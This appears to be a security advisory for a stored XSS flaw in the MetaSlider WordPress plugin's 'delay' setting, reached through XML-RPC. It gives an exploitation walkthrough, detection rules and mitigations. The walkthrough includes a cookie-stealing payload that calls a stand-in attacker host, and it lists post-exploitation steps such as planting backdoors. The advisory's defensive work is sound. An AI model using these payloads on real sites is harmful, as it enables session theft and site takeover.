CVE-2026-18400

Executive Summary

CVE-2026-18400 is a Stored Cross-Site Scripting (XSS) vulnerability in the Slider, Gallery, and Carousel by MetaSlider – Image Slider, Video Slider plugin for WordPress. All versions up to and including 3.111.0 fail to sanitize user input and escape output when processing the 'delay' Post Meta Setting, allowing authenticated attackers with custom-level access and above to inject and execute arbitrary web scripts on any page where the injected content is rendered. The vulnerability carries a CVSS base score of 6.4 (Medium) with a network attack vector and low attack complexity.

The attack surface includes any WordPress installation running the MetaSlider plugin. Because the ml-slider custom post type is registered without custom capability restrictions and the ml-slider_settings meta key remains unprotected, Author-level users can weaponize this flaw via XML-RPC custom_fields when creating an ml-slider post. Successful exploitation results in script execution in the victim's browser context, enabling session hijacking, credential theft, defacement, or further lateral movement within the WordPress environment. No public exploit code has been observed, but the vector is technically straightforward and requires only standard WordPress user privileges.

Technical Analysis

The root cause of CVE-2026-18400 lies in insufficient input sanitization and output escaping within the MetaSlider plugin's handling of the 'delay' Post Meta Setting. The plugin stores slider configuration parameters—including timing delays between slides—in the ml-slider_settings meta key associated with the ml-slider custom post type. When this metadata is subsequently rendered in the front-end page output, the plugin fails to escape or sanitize the stored value before emitting it into HTML/JavaScript context.

The vulnerability is amplified by two architectural deficiencies in how the plugin registers its custom post type and metadata. First, the ml-slider custom post type is registered without custom capability restrictions. In standard WordPress implementations, custom post types can be configured with capability_type and map_meta_cap arguments to restrict which user roles can create, edit, or publish content of that type. MetaSlider's implementation lacks these restrictions, meaning any user who can create posts (Author-level and above) can also create ml-slider posts.

Second, the ml-slider_settings meta key is registered without a sanitization callback or field protection mechanism. WordPress provides functions like register_meta() with a sanitize_callback parameter, and the REST API and XML-RPC interface will invoke these callbacks automatically. Without such a callback, the raw value supplied by the attacker is stored verbatim in the database. The absence of capability checks on this specific meta key further means that the authorization check normally applied during update_post_meta operations is bypassed for this key.

The attack surface is further expanded by the plugin's registration of the XML-RPC capable write interface. WordPress's XML-RPC API exposes methods like wp.newPost that accept a custom_fields array parameter. This array allows users to specify arbitrary post meta key-value pairs, and the API applies only the meta capability checks that the underlying update_post_meta call enforces. Since the ml-slider_settings key is unprotected and the ml-slider post type lacks custom capability restrictions, an Author-level user can submit a custom_fields payload containing {"key": "ml-slider_settings", "value": {"delay": "PAYLOAD"}} and the value will be stored without sanitization.

The injection point manifests when the plugin retrieves stored metadata and renders it into page output. The delay parameter is typically echoed into a JavaScript configuration object or inline script block that controls the slider's auto-advance timing. If the value contains a closing script tag and a malicious payload—e.g., </script><script>alert(document.cookie)</script>—the browser will interpret the injected content as executable JavaScript. All subsequent page views by any user trigger the payload execution, hence the "Stored" classification.

Exploitation Scenarios

The following attack chain assumes the target environment is a WordPress site running MetaSlider ≤ 3.111.0 with at least one Author-level account compromised or controlled by the attacker.

Step 1 — Target Identification and Reconnaissance The attacker first identifies WordPress sites using the MetaSlider plugin. This is accomplished via search engine dorking (e.g., inurl:/wp-content/plugins/ml-slider/) or by analyzing the site's HTML source for the ml-slider CSS classes and JavaScript asset paths. Confirming the plugin version is possible by retrieving /wp-content/plugins/ml-slider/readme.txt and inspecting the "Stable tag" field. Sites running version 3.111.0 or earlier are vulnerable.

Step 2 — Authentication and XML-RPC Verification The attacker authenticates to the target WordPress instance using the compromised Author-level credentials. They first verify that XML-RPC is enabled by sending a system.listMethods request to /xmlrpc.php over HTTPS. A successful response confirming wp.newPost availability validates the attack path. If XML-RPC is disabled, the attacker falls back to the standard WordPress REST API or the classic post editor via the admin dashboard—both accept custom field values during post creation.

Step 3 — Weaponization and Payload Construction The attacker constructs XML-RPC request containing:

1. Credentials: username and password of the Author account.
2. Post type: ml-slider.
3. Title: any valid slider title (e.g., "Promo Carousel").
4. Content: minimal valid slider content structure.
5. Custom fields array: [{"key": "ml-slider_settings", "value": {"delay": "1000</script><script>fetch('//attacker.example/steal?c='+document.cookie)</script>"}}].

The delay value embeds the XSS payload by closing the current script context and opening a new one. In cases where the target uses HTTPS, the payload URL is swapped to HTTPS to avoid mixed-content blocking. The attacker URL-encodes the entire XML structure for transport.

Step 4 — Payload Delivery and Storage The attacker POSTs the crafted XML-RPC request to /xmlrpc.php with Content-Type text/xml. The WordPress server processes the wp.newPost call, creates the ml-slider post, and stores the unsanitized ml-slider_settings value in the postmeta table. The server responds with the new post ID (e.g., <value><int>4821</int></value>), confirming success.

Step 5 — Execution and Post-Exploitation When any visitor—including site administrators or other authenticated users—loads any page that renders the injected slider (typically the homepage or any post/page embedding the slider via shortcode), the plugin outputs the delay value into the page's inline JavaScript. The browser parses the injected </script><script> sequence and executes the attacker's payload. The attacker's fetch call exfiltrates the victim's cookies to the attacker-controlled server. With administrative cookies stolen, the attacker can:

1. Impersonate the admin user and install backdoor plugins/themes.
2. Modify or delete site content (defacement).
3. Create new administrative accounts for persistent access.
4. Pivot to the underlying server via PHP shell from a rogue plugin.

The attack requires no user interaction beyond page load; it fires automatically on every render of the affected slider, maximizing exposure across all site visitors.

Impact Assessment

CVE-2026-18400 carries a CVSS v3.1 base score of 6.4 (Medium), with the vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N. The subscores break down as follows:

• Attack Vector: Network (AV:N) — exploitation is fully remote over the network.
• Attack Complexity: Low (AC:L) — no special conditions or race windows required.
• Privileges Required: Low (PR:L) — only an Author-level (or higher) WordPress account.
• User Interaction: None (UI:N) — the victim merely loads an affected page.
• Scope: Changed (S:C) — the vulnerable component (plugin) is distinct from the impacted component (browser); the injected script executes in a different security context (the visitor's browser session).
• Confidentiality Impact: Low (C:L) — limited data exfiltration, typically cookies or tokens.
• Integrity Impact: Low (I:L) — attacker-controlled content rendered in the page.
• Availability Impact: None (A:N) — no denial-of-service conditions.

The Business Impact is significant for organizations relying on WordPress as their public web presence. A successful Stored XSS attack undermines the trust of site visitors, as scripts execute in their browser under the trusted origin of the legitimate domain. For e-commerce or membership sites, stolen session cookies may allow account takeover of paying customers or members, leading to financial fraud or data breaches. For government or enterprise sites, the attack can be leveraged to serve phishing content, distribute malware, or perform targeted surveillance of site users.

The Blast Radius is broad: every page that includes an affected MetaSlider instance is a vector. Since the injected payload persists in the database, the exposure window extends indefinitely until the malicious post is identified and removed. The ml-slider post type's lack of custom capability restrictions also means the attack does not require specialized roles—only the standard Author role present on virtually every multi-user WordPress installation.

Affected Systems: WordPress sites running MetaSlider – Slider, Gallery, and Carousel versions ≤ 3.111.0, particularly those with:

• Multiple user accounts (including Authors).
• XML-RPC enabled (default in WordPress).
• Sliders embedded on publicly accessible pages.

Detection Guidance

Sigma Rule

title: MetaSlider Plugin XML-RPC Malicious Custom Field Injection
id: 5f8c2e4a-7b3d-4e6a-9c8f-1a2b3c4d5e6f
status: experimental
description: Detects XML-RPC requests targeting the ml-slider post type with malicious custom_fields containing script payloads in the delay setting
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-18400
author: Security Analytics Team
date: 2026/02/18
tags:
    - attack.t1190
    - attack.t1059.007
    - cve.2026.18400
    - xss.stored
logsource:
    category: webserver
    product: apache
    service: http
detection:
    selection_xmlrpc:
        cs-method: POST
        cs-uri-query|contains: xmlrpc.php
    selection_ml_slider:
        cs-body|contains|all:
            - ml-slider
            - custom_fields
            - 'wp.newPost'
    selection_payload:
        cs-body|contains|any:
            - '<script>'
            - '</script>'
            - 'onerror='
            - 'javascript:'
            - 'delay'
    condition: selection_xmlrpc and selection_ml_slider and selection_payload
falsepositives:
    - Legitimate slider configuration containing the literal string delay
    - Plugin updates re-saving valid settings templates
level: high

YARA Rule

rule MetaSlider_Stored_XSS_Delay_Payload
{
    meta:
        author = "Security Analytics Team"
        description = "Detects script injection payloads targeting the ml-slider_settings delay meta key"
        cve = "CVE-2026-18400"
        date = "2026-02-18"
    strings:
        $s1 = "ml-slider" ascii wide nocase
        $s2 = "ml-slider_settings" ascii wide nocase
        $s3 = "delay" ascii wide nocase
        $s4 = "<script>" ascii wide nocase
        $s5 = "</script>" ascii wide nocase
        $s6 = "wp.newPost" ascii wide nocase
        $s7 = "custom_fields" ascii wide nocase
        $s8 = "onerror" ascii wide nocase
        $s9 = "javascript:" ascii wide nocase
        $s10 = "eval(" ascii wide nocase
    condition:
        (2 of ($s1, $s2, $s3, $s6, $s7)) and
        (1 of ($s4, $s5, $s8, $s9, $s10)) and
        filesize < 2MB
}

Suricata IDS Rule

alert http any any -> $HOME_NET any (msg:"CVE-2026-18400 MetaSlider Stored XSS via delay Post Meta XML-RPC Injection"; flow:to_server,established; content:"POST"; http_method; content:"/xmlrpc.php"; http_uri; nocase; content:"wp.newPost"; http_client_body; nocase; content:"ml-slider"; http_client_body; nocase; content:"ml-slider_settings"; http_client_body; nocase; content:"custom_fields"; http_client_body; nocase; pcre:"/delay[^<]{0,200}<\/?script/i"; classtype:web-application-attack; reference:cve,2026-18400; reference:url,nvd.nist.gov/vuln/detail/CVE-2026-18400; sid:2026184001; rev:1;)

Elastic Detection

sequence by host.name with maxspan=30s
  [ network where event.type == "start" and destination.port == 443 and
    url.path == "/xmlrpc.php" and http.request.method == "POST" ]
  [ http where event.type == "request" and
    (url.path == "/xmlrpc.php") and
    (http.request.body.content contains "wp.newPost") and
    (http.request.body.content contains "ml-slider") and
    (http.request.body.content contains "custom_fields") and
    (http.request.body.content contains "delay") and
    (http.request.body.content contains "<script>" or
     http.request.body.content contains "</script>" or
     http.request.body.content contains "onerror" or
     http.request.body.content contains "javascript:") ]

Splunk SPL Query

index=web* sourcetype=access_combined
| where like(uri_path, "%xmlrpc.php%")
  AND method = "POST"
  AND (like(form_data, "%wp.newPost%") OR like(_raw, "%wp.newPost%"))
  AND (like(form_data, "%ml-slider%") OR like(_raw, "%ml-slider%"))
  AND (like(form_data, "%custom_fields%") OR like(_raw, "%custom_fields%"))
  AND (like(form_data, "%delay%") OR like(_raw, "%delay%"))
  AND (like(form_data, "%<script>%") OR like(form_data, "%</script>%")
       OR like(form_data, "%onerror%") OR like(form_data, "%javascript:%"))
| table _time, src_ip, uri_path, method, form_data, http_user_agent
| sort - _time

Wazuh OSSEC Rule

<rule id="797607" level="14">
  <if_sid>31100</if_sid>
  <match>xmlrpc.php</match>
  <regex>wp\.newPost</regex>
  <regex>ml-slider</regex>
  <regex>custom_fields</regex>
  <regex>delay</regex>
  <regex>(&lt;script&gt;|&lt;/script&gt;|onerror|javascript:)</regex>
  <description>MetaSlider CVE-2026-18400 - Stored XSS via delay setting injected through XML-RPC</description>
  <group>web_application_attack,xss,wordpress,</group>
  <mitre>
    <id>T1190</id>
  </mitre>
</rule>

Mitigation & Patch Guidance

Patch Status: UNPATCHED. As of this report, no vendor patch or patched version has been released. The affected version range is all releases up to and including 3.111.0. Patch confidence is 0/4, with no evidence from NVD, vendor advisory, or any tracked source indicating a fix.

Immediate Mitigations (until vendor patch is available):

1. Restrict XML-RPC Access: Block or disable XML-RPC at the web server or WAF level. Add the following to the site's .htaccess or Nginx config:

   <!-- Apache -->
   <Files xmlrpc.php>
       Require all denied
   </Files>
   

   # Nginx
   location ~* ^/xmlrpc\.php$ { deny all; }
   

   Alternatively, use a WordPress plugin to disable XML-RPC entirely.

2. Audit Existing ml-slider Posts: Manually review all posts of the ml-slider custom post type in the WordPress admin. Inspect the ml-slider_settings meta values for any suspicious scripts, HTML tags, onerror handlers, or unusual delay values. Remove or sanitize any posts found with malicious content.

3. Restrict User Roles: Review all Author-level accounts. If multi-user functionality is not essential, convert Authors to Contributors (who cannot publish). For essential Author accounts, enforce strong passwords and multi-factor authentication (MFA).

4. WAF Rules: Deploy a Web Application Firewall rule to block POST requests to /xmlrpc.php containing both wp.newPost and ml-slider strings in the body, or any request containing <script> within custom_fields parameters.

5. Disable Unused Custom Post Types: If the MetaSlider slider functionality is not actively used, deactivate and delete the plugin entirely. This removes the vulnerable code path completely.

Patch/Upgrade Steps:

1. Monitor the MetaSlider plugin changelog and the WordPress plugin repository for a release newer than 3.111.0.
2. When a patched version is available, update via wp-cli plugin update ml-slider, the admin dashboard (Plugins → Installed Plugins → Update), or composer update metaslider/metaslider (PHP ecosystem, Composer package manager).
3. After upgrading, re-verify that no other ml-slider post contains malicious metadata.

Long-Term Hardening:

1. Least Privilege: Enforce the principle of least privilege for all WordPress user roles. Disable accounts that are inactive. Use capability-based plugins to limit which roles can edit or publish content of any type.
2. Security Plugin: Deploy a WordPress security plugin (e.g., Wordfence, Sucuri) with virtual patching capability to block known attack patterns for this CVE until the official patch is applied.
3. Input Validation: Implement server-side input sanitization for all custom post meta by adding sanitize_callback functions via register_meta() for any third-party plugin's meta keys.
4. Content Security Policy (CSP): Deploy a strict CSP header (script-src 'self') to mitigate the impact of any stored XSS even if an injection is not fully blocked. This acts as a compensating control that prevents execution of inline or external malicious scripts.
5. Regular Audits: Periodically scan WordPress core, plugins, and themes for known vulnerabilities using tools like WPScan or commercial scanners.

References

1. NVD Entry — CVE-2026-18400: https://nvd.nist.gov/vuln/detail/CVE-2026-18400 (Contains the official NVD description, CVSS score, and CWE classification).
2. MetaSlider Plugin Repository (WordPress.org): https://wordpress.org/plugins/ml-slider/ (Official plugin page; monitor for patched version releases).
3. MetaSlider Plugin Changelog: https://wordpress.org/plugins/ml-slider/#developers (Version history; check for fix addressing sanitization of 'delay' Post Meta Setting).
4. OWASP Stored XSS Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html (Reference guidance for mitigating stored XSS impacts).
5. WordPress XML-RPC API Documentation: https://developer.wordpress.org/apis/ (Official documentation for wp.newPost and custom_fields parameters, relevant to the attack vector).

As of this writing, there are no known active threat actor campaigns exploiting this CVE, no exploitation in-the-wild evidence, and CISA KEV does not list CVE-2026-18400. No exploit code has been publicly disclosed, and no Nuclei template exists. Organizations should nonetheless treat the flaw as exploitable given the low privilege requirement and the widespread nature of WordPress deployments.